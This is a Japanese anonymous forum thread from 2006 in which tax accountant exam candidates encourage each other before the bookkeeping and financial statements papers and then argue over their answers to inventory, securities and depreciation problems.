ニヤニヤ(・∀・)ニヤニヤ

314 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 08:44:20 ID:???
試験まであと二十分・・・
緊張してきた・・・

315 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 11:29:30 ID:???
試験明日じゃねえの?

316 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 12:03:01 ID:???
第二問、なんじゃああああぁぁぁ、あの問題はぁぁ!!!!糞糞糞〜〜〜〜〜〜



>>315
うん、明日だよ。ニヤニヤ(・∀・)ニヤニヤ

317 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 12:27:58 ID:???
アリの巣コロリってあるじゃん。
蟻の行列にポンと置くと、一瞬ビックリして列が乱れる。
邪魔だなと言わんばかりに迂回する列が出来る。
そのうち好奇心旺盛な一匹がアリの巣コロリに入る。
そいつをマネして何匹も入る。
毒とも知らずにツブツブを運び出す。一匹が一粒づつ。
いつのまにか行列はアリの巣コロリが折り返し地点になる。
黄色い粒と黒い蟻が作り出す模様は綺麗で見てて楽しい。
一匹が一粒づつ、丁寧にせっせと毒の粒を運ぶ。
せっせと、せっせと、せっせと、せっせと。
蟻さんって働き者だなと思う。俺も頑張らなきゃなと思う。
次の日、あれほど沢山いて俺を困らせた蟻が一匹もいない。
ほんとにいない。探してもいない。泣きたくなった。

318 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 12:29:43 ID:???
第三問の三月期中取引ってあるじゃん。
問題の【資料2】にポンと置くと、一瞬ビックリして受験生が乱れる。
邪魔だなと言わんばかりに迂回して有価証券や引当金から解き始める。
そのうち好奇心旺盛な受験生が三月期中取引に入る。
そいつをマネして何人も入る。
パニックするとも知らずにゾロゾロと解き出す。
いつのまにか行列は三月期中取引が折り返し地点になる。
受験生の苦悩と作問者の嫌がらせの模様はカオスで見てて楽しい。
一人が一仕訳づつ、後T/Bに反映されるかどうか必死に読み解いている。
せっせと、せっせと、せっせと、せっせと。
受験生ってマゾだなと思う。俺も頑張らなきゃなと思う。
次の日、あれほど沢山いて俺を楽しませた受験生が9割もいない。
ほんとにいない。探してもいない。泣きたくなった。

319 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 12:31:48 ID:/ILQ62JN
オペリース減損勘定の処理(特に翌期)押さえとけ。
外貨は去年出題資料不備あったから間違いなく個別
で出る。
学校が再三の出題に反し、尚あまり力入れていない
外販・受注ソフト第三弾が待ってるぞ!
保証債務関係は第三問で連発の予感。退引は今年の
予想論点捨てた香具師は地獄を見るでしょう。でも
安心しな!来年は出さないから。

320 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 13:01:55 ID:???
退引のワークシートがでたらウレシイ

321 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 13:33:22 ID:HRPYU5DP
今日はキャッシュフロー、明日は連結を押さえて本試験対策終了。
今年は珍しく計画通りに勉強できたよ。
今年の俺に穴はないぜ!


322 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 13:38:38 ID:nYTNYP18
試験オワタラのんびりしたんだが
そうも言ってられないんだよな〜〜〜
次は就職という第2関門が待ってるし
漏れに休息は無い・・・・・

たたか〜いは続く〜〜♪ たたか〜いは続く〜〜♪


323 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 18:20:05 ID:???
短答うかってると気合がはいらん
まあ緊張しないでうけれるのはかなりいいけど

324 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 19:25:08 ID:???
獨教行くのまんどくさ

325 :0123〜♪:2006/07/31(月) 19:31:27 ID:???
シケ、久しぶり〜
HN変えたそうやな?

326 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 21:29:18 ID:???
明日に備えて今からねるよ

明日頑張ろうぜおまいら

327 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 00:25:49 ID:???
age

328 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 00:31:46 ID:???
ageってどういう意味??

329 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 00:33:36 ID:fip0JPtF


330 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 01:21:48 ID:8h5iQ3IK
>>321
キャッシュフローと連結は捨ててる
やっぱできないとこは皆同じなんだな

331 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 01:28:58 ID:mACQ/COC
全く寝れん
しかも数日前に食った食事の中に体に合わないものが入ってたらしく
蕁麻疹が出まくり  しかも今が特に酷く出てる  ストレスか・・

332 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 01:40:25 ID:???
来年、簿財受験生だとゆうのに…ね、寝れん

333 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 03:50:01 ID:???
>>331
おれも湿疹はでるわ口内炎はでるわ目が覚めるわで

334 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 03:57:14 ID:mACQ/COC
331だが
咳まで出てきた  何か最悪  6時には起きないと間に合わんのに
受験自体逡巡してきてます  

335 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 04:03:35 ID:m23pe7+P
さてそろそろ寝るか。


336 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 05:15:30 ID:???
みんなおはよう気分は最悪だ
今から逝ってくる…あぁ今日で全てが終わる

337 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 05:17:25 ID:???
今日何時から?
朝起きれたから受けに行ってやるよ。

338 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 05:22:33 ID:mACQ/COC
とりあえず今出せる全力出してくるわ  331でした徹夜
まずは飯食いながらめざましテレビ

339 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 05:43:57 ID:???
当日ですが、はじめまして。朝から緊張でご飯食べたらお腹痛くなったり、地方者なんで、東京受験なんですが、思ったより寒くて体調あんまかんばしくなかったり…ですが、初受験なんですががんばって分母じゃなくて分子になってきます。

340 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 06:03:00 ID:???
お前らおはよう

時には煽りあい、直前期だけは励ましあった”一般に公正妥当と認められた名無しさん”たちよ!
今日は俺と一緒に合格しようぜ!

341 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 06:10:07 ID:fip0JPtF
おまじないで精飲した人いる?

342 :気合age:2006/08/01(火) 06:13:36 ID:9KFytHMx
おはよう!!

二時間しか寝れんかった、眠い!
そしてシャワーが寒かった!!

俺は頑張る!おまいらも頑張れ!!

343 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 06:22:59 ID:ZUdHVj0A
おはよう。記念受験に行ってきます。来年はがんばる。

344 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 06:24:49 ID:ZZt3EjCv
俺もだ。一睡も出来なかったのだが、今年は記念受験だ。
ふいんき(なぜかry)だけでも、味わってくるぜ。

345 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 06:55:23 ID:???
この手よ今は震えないで…
この足よちゃんと僕を支えて…

346 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 06:58:17 ID:???
おれの好きな言葉を教えてやる。

継続は力なり

努力は人を裏切らない

この2つだ。みんながんばれよ。おれもがんばるぞ。

347 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 07:12:44 ID:6hXvPLvj
>>343>>344
ガンガレ〜
法人組だけど、俺もガンガルよ。

と言うか、このスレ見た人に幸あれ。

348 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 07:21:47 ID:???
今からいくぞ!

349 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 07:50:26 ID:wkDKIb26
合格しに行ってくる!


350 :ははははろたん:2006/08/01(火) 07:55:28 ID:e/L3Z6/q
おまいら!がんがれー!!

応援しちょるぞい!

351 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 07:58:30 ID:ULbpuWQG
試験会場には開始の何分前までに入室すればいいの?まだ中野なんですが。

352 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 08:01:11 ID:???
>>351
受験票に書いてあるよ。15分前

353 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 08:01:54 ID:???
今起きました。。。

354 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 08:06:17 ID:9bi2ds78
チャンピオーネを聞いてモチベaGEてます。
日本代表のように逝ってくるべ

355 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 08:10:44 ID:???
なーななーななっなっなっ なな なーななっなっなっー
なーななーななっなっなっ なな なーななっなっなっー
うぉーおおっおっおっ うぉーおおっおっおっ

356 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 08:11:21 ID:???
よし、会場入りする。
 
 
皆がんがれ(`・ω・´)

357 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 08:13:32 ID:???
お前ら落ちるよ(・ω・)/

358 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 08:13:57 ID:???
>>354
それって、答練強くて本番弱そうで縁起悪いな。

359 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 08:51:04 ID:???
何でスレが2つもあんだよ('-^*)/
ほら落ちろ(o^o^o)ほれ落ちろ

360 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 08:53:54 ID:???
クズ村がエルメスに対抗して立てた糞スレ。

361 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 11:52:57 ID:???
終わった。疲れたよ。第3問難しかったな。試験委員に殺意を抱いたよ。

362 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 12:23:52 ID:???
むずかったか?個人的に2のが嫌気指した


3は集計力だけだったきがす

363 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 12:39:44 ID:iMN0hX72
特商対策に時間を割きまくったのに・・・
TACのうそつき。

364 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 12:47:56 ID:???
2の原価法と定価法の原価率いくらになった?

365 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 12:48:38 ID:???
65%

366 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 12:49:50 ID:+5WmPJ6K
在外支店ありの本支店会計も出なかったな。
TACに釣られちまった。

367 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 12:55:58 ID:ix5U/F4v
結局学者対策ってまったく役に立たなかったな


368 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 13:01:20 ID:???
原価率そんな低いかな
どうやって計算したんですか?

369 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 13:15:01 ID:42BvBg2E
俺原価率は0.95と0.9だった気がする。
高すぎで違和感もあったが・・・・。
怖いよ・・・・

370 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 13:17:38 ID:???
>>369
おれも一緒。在庫処分とか書いてあったから利益率を低くしてんじゃない?

371 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 13:20:12 ID:???
私も原価法90%と低価法95%


372 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 13:20:57 ID:???
在庫処分セール!!そして赤字。

373 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 13:29:30 ID:???
みんな売還やってるんだね。
何分くらいかけた?


374 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 13:32:07 ID:???
間違えました
原価法95%で低価法90%です


375 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 14:07:11 ID:???
10〜15分くらい。
商品有高帳ややこしいけど
中味は基礎レベルでは


376 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 14:35:14 ID:???
そうだったのか・・・
手をつけなかったorz


377 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 14:42:12 ID:???
95%は出たけど違和感ありまくって結局捨てたっつーか

資料見て混乱したから捨てた

でもやってない人もいるみたいだしなぁ

378 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 15:00:38 ID:IKGhMS8c
分母〜分母〜今年も分母♪

379 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 15:04:07 ID:03sgOpP1
とりあえずキャッシュフロー満点っぽい
でも、三問目で撃沈…

380 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 15:11:16 ID:???
差金の償却って1か月分を端数処理してから月数をかけるの?
毎月均等額を償却って言葉に引っかかったんだが。


381 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 15:19:39 ID:???
俺は問1のキャッシュフローがやばいかも

問2の長期請負工事の営業利益マイナスになっちまった…

考えてみたら損失性引当金入れちゃだめだったんたよな…

しくじったぜ…


382 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 15:23:59 ID:???
アホヤロウ。
原価率を出すのは楽勝だけど
売価として何を用いるかがムズいンだって。
95×40じゃないとアウト。値下げ後の単価を使ったやつが
殆んどだろ。

383 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 15:40:30 ID:QVRhc8n/
おまいらウラヤマシス
漏れはもう・・・・・
死亡確定・・・・・

384 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 15:47:15 ID:???
十数万円払うのかぁ・・・

385 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 15:50:00 ID:???
やっぱり95×40だよな
良かった〜

合格点は58点くらいかな?

386 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 15:58:13 ID:???
↑それは傾斜であまり点がこないところ

387 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:01:09 ID:+xeymwID
短答合格の会計士入門生だけど一応今日の簿財受けてきたよ。
毎年、ボーダーってどのくらいなの?

388 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:01:17 ID:+trnhGth
1問、3問はできたと思うが2問で撃沈。
回答速報では3個しか正解無い。配点の奇跡を祈るのみ

389 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:02:17 ID:???
傾斜って・・。どうやって配点するんだよ。
少なくとも、100人くらいは採点しなければ、傾斜配点なんかできないだろ?

一人目から、配点せずに答えがあってるところと間違っているところをチェックして、
データベース化して、間違う人が多いところは配点しないってか?

390 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:02:32 ID:???
95×40だと間違いですよ。解答速報をごらんなさい。
あれは赤字覚悟なのです

391 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:04:02 ID:???
狭義説の実現主義かよぉ(つД`)

392 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:05:39 ID:2DrfDy6X
回答速報どこで見るの?

393 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:06:23 ID:???
>>390
UP頼む

394 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:06:26 ID:???
怪盗速報どこ出てる?

395 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:16:30 ID:n4ztaamH
解答速報間違ってないの?
問1
1.35,050
2.4,460
3.3,440
4.9,000
5.97,073
6.1,200
7.5,500
8.
9.
10.4,800
11.16,600
12.595,000
問2
1.80,600
2.138,240
3.130,000
4.296,600
5.
6.
7.336,600
8.3,135
9.74.25
10.108
11.462
12.



396 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:17:01 ID:???
大原解答速報 現地で配布してたやつ
第二問@80600 A138240 B130000 C296600 D E 
     F336600 G3135 H74.25 I108 J462 K
Gの解答見る限り3300*0.9ですね

私は3800*0.9で3420で解答しましたが

397 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:19:32 ID:???
期末売価に原価率乗じるんじゃないの?
払出欄の単価は値入後の売価だと思うんだけど

398 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:35:32 ID:???
低価法それが正解なの?
問2ほぼ全滅じゃん…
【俺の解答】
1=105872
2=138240
3=130000
4=296600
5=61600
6=
7=391872
8=3610
9=85.5
10=342
11=678
12=
…orz
また一年やり直しかよ!!!!!

解答速報の内容って間違いだったってことないの?




399 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:37:31 ID:???
いや普通に日本語読めば
値下げ後の期末売価に原価率を乗じるわけがない。

仮にそれで計算すると
実地棚卸売価合計が
帳簿有高を上回るだろ。

普通に有り得ん。
速報作った奴が間違ってんだよ。



400 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:38:07 ID:???
>>398
俺もそれに近い。
工事損失引当金繰入は10,000にした。

401 :リーチ!! ◆.aAQAotUq2 :2006/08/01(火) 16:43:36 ID:???
たぶん385氏が正しいでしょ、俺は間違ったけど。
解答速報が間違うことは多々有るよ。
去年も専門よって第3問の未払費用が割れた。

402 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:55:15 ID:???
>>398
問2は全く同じ
Kは15390(仕入)+1710(期首)-3420(期末85.5*40)+342(棚減85.5*4)+90(低評2.5*36)とかか?
本番では解答してないけど

問1は別スレに間違えてカキコしたが、いらんこと考えて全滅

403 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 16:55:22 ID:eKINQwNt
値下げ後の売価で計算したら、>>399のいうとおり実地が帳簿を上回る。
減耗損出てるのにそりゃおかしいだろ。

問題文にも「売価に基づく棚卸には……ここでは値入時点の価格による方法による」
って書いてあるんだから、3800に0.95乗算で正解だろう。


404 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:01:41 ID:???
問一の1の有価証券の金額て解答速報の答であってる??

405 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:01:45 ID:???
さぁて、小野君と松本君の出題はいかがだったかな?

406 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:09:03 ID:???
>>404
あってると思う
32300(期首)-5000(期中売却)+6600(期中取得)+1150(期末評価)=35050



407 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:09:35 ID:???
lecでも速報出てる。@とAだけね

ちなみにlecでの自己採点は
@20
A12

損失引当金の金額が当たったおかげでなんとか生きてる

408 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:10:06 ID:???
簿記論スレをさらっと読みして想像した難易度

小野→逝ってヨシ
松本先生→神様仏様
森田・椿本→即刻氏ね

特に椿本!コイツは債権回収会社の社長だけあって本当に血も涙も無い野郎だな!

409 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:13:28 ID:???
>>406
そうか
期末評価足してなかたわぃ(´・ω・`)

410 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:14:38 ID:XifSYdMO
lecってどこにでてるの?
問2Gは、3610と3135のどっち?

411 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:22:26 ID:???
検索かけてHPにあったよ

412 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:23:59 ID:???
>>410
3610
レック行ったら速報会終わってたorz

413 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:29:52 ID:???
基本的なことなんですが
非上場の株式って時価評価すんの?
上場してないってことは時価自体が無いと思うんだけど


414 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:31:21 ID:XifSYdMO
終わった…3610が正解だね。3135にしちゃったよ。
っていうか問2は使う売価間違えたら、なだれ式に全滅じゃない?
問題よく読めやわかることだったけどね…


415 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:34:29 ID:xXhrA+T5
結論としては、問題2の問2は捨てだな。

問2やらずに問題1を完璧に仕上げ、問題3で拾えるところを拾うのが今回の王道合格パターンだろうね。



416 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:36:08 ID:tkJmRU1N
>>413
貸借対照表が与えられれば出せるけどそれ以外は不要だろう

…第一問はとりあえず回答出てるとこ満点取ったけど、第二問がなー…。第三問の回答待ち

417 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:40:04 ID:???
>>413
非上場でも、
金融商品会計基準での時価は
概念が広いから時価がある場合あり。
仮に時価がなければ原則として取得価格で評価。
金融商品会計基準に書いてあるよ。保有目的で分類するのは時価のある場合としてる。

418 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:43:35 ID:eKINQwNt
第3問の解答待ちきれねー。

@=808,901 AB=パス C=17,052 D=55,800

EF=パス G=328 H=292 I=508

J=8,400 K=パス L=24,444 M=153,618 N=65,053

OP=パス Q=75,311 R=76,298 S=15,287

21=300 22=136,320 23=2,006 24と25=パス

↑こう書きました(・∀・)


419 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:44:16 ID:???
で、ボーダーは何点くらいになりそうなの?


420 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:46:33 ID:IKGhMS8c
単価も個数も千円単位になってなくね

421 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:48:10 ID:???
第一問で解答出てるとこでも6問しか合ってない。
死亡ですか・・・。


422 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:48:19 ID:XifSYdMO
>>420
そうなんだよ。俺もミスった。

423 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:49:04 ID:???
全ては第3問できまる
解答はまだかちょうど25問
あったから1問二点13問あってれば俺は受かる

424 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:49:48 ID:eKINQwNt
>>420
それは第2問売価還元ですか?

カンマと勘違いされないように、念入りにぐりぐりっとピリオドを書いといたよ。
それと、小数点以下第2位まで表示って指示があったから、
85.50って書いたけど、これは85.5でも大丈夫だろうね。


425 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:49:56 ID:tkJmRU1N
>>418
@、G、H、Q、22は答え同じ

で、23は賞与引当金の金額じゃなくて労務費全体だからまちがいだよ?

426 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:53:52 ID:ERDQIkKH
Iは169、どう?合ってる?

427 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:54:16 ID:xXhrA+T5
>>420
どこが?


428 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:56:04 ID:tkJmRU1N
>>426
425だが、俺はそこ自信ない。
っつーか車両のゲンピの資料が不明瞭過ぎて…

修正事項(1)ってやっぱり買掛金に含めるのか?…怪しかったので含めずやっちゃったけど・・・

429 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:56:08 ID:XifSYdMO
>>427
第3問の期末棚卸商品だよ。あーやられたよー
あとlecは第3問は模範解答でるのかな?
8/4に発表ってかいてあるけど。

430 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:56:44 ID:xXhrA+T5
>>429
なるほど。

もう怖くてみてらんないorz

431 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:57:19 ID:???
418は

432 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:58:10 ID:???
減耗らへん単位違うんじゃねー

433 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 17:58:53 ID:tkJmRU1N
減耗は四捨五入が大胆すぎて怖くなるよな。

434 :413:2006/08/01(火) 17:59:25 ID:???
>>416>>417
ありがとうございます

本問の場合、実質価額なるものが与えられていたんですけど
これで期末評価するってことですかね?
てか実質価額ってなんなんでしょか?

435 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:03:45 ID:ERDQIkKH
>>425
あそこは俺もどうするのか、分からなかった。
しかし、23はやられた、2,006って書いた。

436 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:04:10 ID:fip0JPtF
解答チャットはI時開始だぞw
ちなみにIは188

437 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:04:48 ID:???
それ言うならDも間違いだろ

438 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:04:51 ID:???
自分の解答を書いてみる
第一問
1 35050
2 4460
3 3440
4 9000
5 97073
6 1200
7 5500
8
9 421500
10 4800
11 16600
12 595000

第二問
1 80600
2 138240
3 130000
4 296600
5 2200
6 5200
7 336600
8
9
10
11
12



439 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:05:57 ID:2T4T8UGI
これくらいも問題なら60から十分、勝負になりますよ

440 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:06:27 ID:???
188に同意。

441 :438:2006/08/01(火) 18:07:09 ID:???
続き

第三問

1 808901
2 631298
3 1296
4 17
5
6 4918
7 5190
8 352
9 292
10 188
11 8400
12 6326
13 書いたが忘れた
14 同上
15 65053
16 25410
17 4835
18 75405
19 76424
20
21 300
22 136321
23 132990
24 7459
25 31320


442 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:07:35 ID:tkJmRU1N
>>436
同じ。

車両の取得原価は?

443 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:09:11 ID:fip0JPtF
>>413
前年分だけ実価法で減損する

444 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:11:28 ID:xXhrA+T5
>>438

なんでそんなに回答できるの、、、、orz

445 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:11:47 ID:???
Iは188じゃないかな
減償64  車399
下取147
損188

因みにDって売原入れるんだよね?

446 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:13:52 ID:XifSYdMO
>>445
同じく188。
>>441
減価償却関係が違っているような気が…

447 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:13:52 ID:42BvBg2E
俺も10は188


448 :426:2006/08/01(火) 18:14:20 ID:ERDQIkKH
う〜んIはじゃあ間違ってるな。残念だ〜。

449 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:14:49 ID:tkJmRU1N
問題自体はそこまで難しくないんだけど第三問ってホント数字が不明瞭で不安にさせられるよなー…

450 :sage:2006/08/01(火) 18:17:16 ID:ERDQIkKH
Sは15,275って言ってみる。

451 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:18:02 ID:???
>>450
俺も

452 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:18:32 ID:eKINQwNt
第3問は速報に時間がかかるんだな。

講師が集まってアレコレ議論しておるのだろうか?


453 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:19:27 ID:fip0JPtF
B株は時価評価しないだろ?

454 :413:2006/08/01(火) 18:20:57 ID:???
>>443
てことは当期は時価評価せず減損後の価格8000*1.2=9600てこと?



455 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:21:00 ID:XifSYdMO
>>449
同感。単位が千円でないところがあったり、差金が割り切れなかったり、
減価償却5%までさせたり、5や23は、ペラペラめくりながら解いてると
評価損や引当金の金額を答えてしまいそうになるよね。




456 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:21:27 ID:fip0JPtF
>>452講師でも満点取れないってことだろう。
解答速報の空欄の部分とか。

457 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:21:48 ID:???
>>453
するでしょ。時価又は実質価額が与えられてるんだから。


458 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:23:07 ID:???
P車両 4850
E減価償却 4988
24減価償却 9934
では?

459 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:24:08 ID:eKINQwNt
>>457
しませんよ。時価と実質価額は違うからです。

その他有価証券は、時価がある場合は時価評価、時価がなければ
評価せず。ただし著しく下落したら実質価額まで減損。


460 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:26:08 ID:???
ボーダーは50近辺のような気がする。根拠無いけど。

461 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:26:11 ID:tkJmRU1N
>>455
償却5%は噴出してしまったよ。
後進を育てようって意識がないのかねー、試験委員の先生には。

>>453
俺はした。なぜしないんだ?

462 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:27:21 ID:???
連投すまん
B株時価評価しないんだったら、株式等評価差額金(21)は1740=2900(A株評価差額)*0.6になるけど
上の方の答えみると2900-2400(B株評価差額)*0.6=300てのが多いよね


463 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:27:31 ID:???
第1問は3ヶ所間違ったらアウト臭いな

464 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:27:41 ID:???
>>459
与えられていた一株当たりの金額1500円は時価でなく実質価額と言い切れますか?


465 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:28:12 ID:X0IWqsVz
ここまでの中間まとめ、自分の答えで、
こんなのはどうでしょうか?
1 808,901
2 ?
3 ?
4 17
5 92,613
6 5,552
7 ?
8 328
9 292
10 188
11 8,400 ?
12 ?
13 7,012
14 163,112
15 65,053
16
17 4,219
18 75,311
19 76,304 or 76,298
20 15,275
21 300? 1,740?
22 136,320
23 132,990
24 10,459
25 ?

466 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:29:22 ID:eKINQwNt
>>459
非上場なので。常識的に考えて時価はありません。
まあ、問題の不備といえなくもないのかな?


467 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:29:24 ID:???
http://www.lec-jp.com/zeirishi/kaitou/index.html

LEC速報によるとオレは
問1 14点
問2 14点

ボーダー50いくならやばいかもな…


468 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:32:16 ID:XifSYdMO
>>465
固定資産&減価償却関係(6、10、17、24)全部同じです。


469 :438:2006/08/01(火) 18:33:02 ID:???
あー。電卓に自動四捨五入機能ONにしてたから製造原価割り切れたと思って安心してまったorz

よく減価償却関係ミスるから、たぶんそこらは全部しくったかも


470 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:33:37 ID:???
>>466
上場していないと時価がないと言い切れますか?
市場があれば時価の認識は可能では?
証券取引所を介さないネット売買みたいなものでも時価が発生するのでは?


471 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:34:53 ID:???
やはり第三問で合否が分かれるな。
第1問 2,3ミス
第2問 問1 1,2ミスまで 問2除外(配点が低い可能性あり)
第3問 減価償却、有価証券、社債、商品を中心に正解。あとは底力の勝負。

ん〜まだわからないが俺は第3問で撃沈くさいね。どうも。

472 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:35:10 ID:???
L24,862の人がいたら、その人は紙!!

473 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:35:20 ID:???
問題の不備なのかどうか微妙なところが多かったね。

474 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:36:53 ID:eKINQwNt
>>470
いや、そらそうなんだけどね。
結構、常識働かせて解くこと多いからなあ税理士は。
確かに上場してなくたって時価があるかもしれない、と
言われればそのとおりですけど(取引所を介さない市場とか)。
日本の現状を考えれば上場してなければ、時価なし、と
考える方が解答的には無難かと。


475 :一般に公正妥当と認められた名無しさん:2006/08/01(火) 18:39:08 ID:???
>>466
